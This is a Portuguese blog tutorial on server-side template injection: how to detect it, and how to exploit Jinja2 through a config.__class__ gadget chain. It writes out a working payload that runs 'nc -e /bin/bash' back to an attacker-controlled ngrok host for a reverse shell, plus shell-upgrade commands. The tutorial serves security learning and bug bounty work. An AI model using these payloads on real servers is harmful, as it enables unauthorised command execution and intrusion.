Entendendo, Identificando e Explorando SSTI (Server-Side Template Injection)

storme
5 min readJun 4, 2021

O ataque de ssti é basicamente uma falha na template do servidor web onde é possível injetar códigos que serão executados.

O que são templates?

Templates são páginas pré-configuradas que podem ser editadas com facilidade. Geralmente são formadas por partes estáticas e dinâmicas. Exemplo:

Hello {} = Hello

Hello {friend} = Hello friend

Hello {world} = Hello world

“{}” está no código da template mas para o usuário será apenas uma área de input

No exemplo acima podemos observar que os caracteres inseridos entres as chaves podem ser adicionados de forma dinâmica, sendo fixo (estático) apenas o “hello”.

Template injection

É um tipo de “injeção” direcionada a exploração de uma vulnerabilidade que pode existir em aplicações web.

Se mal programada, a aplicação permite que um atacante se aproveite de um user input (zona predestinada para que o usuário forneça a informação requirida) para solicitar a base de dados, por meio de comandos/códigos, o que lhe for conveniente.

Identificando a vulnerabilidade

Em alguns casos as templates podem ser usadas de uma maneira diferente, na ausência de uma calculadora você pode se aproveitar dessa vulnerabilidade para fazer alguns cálculos muito complexos como por exemplo 7x7, usaremos esse exemplo como referência:

· Hello {{7*7}}

· Hello 49

Essa é uma forma simplificada de conferir a presença de tal vulnerabilidade na aplicação por você testada.

Explicando a exploração da vulnerabilidade

Existem várias formas de explorar tal vulnerabilidade, as formas variam de linguagens de programação e engines, entre elas estão jinja2 (python), Django (python), go (go), jade (node JS), Dot (JavaScript), etc.

Para exemplificar, explicarei a exploração de uma engine jinja2.

Jinja2 se baseia em python, existe uma forma muito conhecida para conseguir uma shell reversa usando a linguagem python mas esse método não é eficaz em SSTI uma vez que as templates não suportam “import” de bibliotecas. Sendo assim, será necessário buscar outra maneira de declarar os comandos necessários para a shell.

Tentando ser o mais didático possível, o interpretador de python usa python, que por sua vez depende de módulos (basicamente os módulos estão lá mas você não os consegue ver), um meio para acessar tais módulos é se aproveitando dos gadgets. Exemplo:

· {{config.__class__.__init__.__globals__[‘os’].popen(‘ls’).read()}}

Para o python tudo é considerado um objeto (strings, listas, você, qualquer coisa) e objetos possuem classes, classes possuem uma base e essa base se enquadra dentro de uma subclasse, geralmente o código dessas subclasses importam os módulos que lhe forem convenientes, sendo assim, podemos nos aproveitar dessa importação “nativa” para executar o que desejarmos.

Explorando SSTI

É bem simples conseguir uma reverse shell explorando uma Server-side Template Injection. Você só precisa:

1 — Abrir uma entrada de conexão em sua máquina via netcat

· sudo nc -nlvp (porta de sua escolha)

2 — Usar o ngrok como facilitador (recomendado)

O ngrok cria túneis entre portas da sua máquina local e os servidores dele, o que possibilita outras pessoas acessarem o que quer que esteja naquela porta que disponibilizamos.

Abrindo um túnel com o ngrok:

· ngrok tcp (porta que você usou no netcat)

3 — injetar o código

· {{config.__class__.__init__.__globals__[‘os’].popen(‘nc -e /bin/bash LinkDoNgrok PortaDoNgrok).read()}}

Substitua o “LinkDoNgrok” e a “PortaDoNgrok” presentes no código acima pelo link e pela porta do seu ngrok

Vale ressaltar que ao copiar e colar o código acima, substitua as aspas que foram coladas por aspas digitadas (apague as aspas e digite outras no mesmo lugar) pois o medium substitui as aspas por outro caracter.

Link e porta do ngrok (as suas estarão diferentes):

Depois de ter inserido corretamente o link de seu ngrok juntamente com a porta, basta enviar o código no user input vulnerável da aplicação

e executar o que lhe for conveniente através do netcat.

(Bônus) Melhorar a shell

É possível melhorar a shell obtida usando o python através dos seguintes comandos:

· python -c ‘import pty;pty.spawn(“/bin/bash”)’

Aperte CTRL + Z

· stty raw -echo && fg

Aperte ENTER novamente

· export TERM=xterm-256color

Vale ressaltar que ao copiar e colar o código acima, substitua as aspas que foram coladas por aspas digitadas (apague as aspas e digite outras no mesmo lugar) pois o medium substitui as aspas por outro caracter.

Conclusão

Essa falha muitas vezes está presente em aplicações também vulneráveis a XSS, contudo mesmo sendo uma falha relativamente simples, muitos caçadores de falhas se contentam com em reportar apenas o XSS (em alguns casos o explorador não sabe explorar tal falha ou até mesmo desconhece sua existência) e acabam perdendo uma remuneração muito melhor pelo report.

Espero ter ajudado, bons estudos!

“No mundo do hacking, ao parar você não fica estagnado na mesma posição, você começa a regredir, nunca pare!”. Storme

Caso queira entrar em contato comigo:

https://www.instagram.com/ohomemnaoparanunca/

Referencias:

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

--

--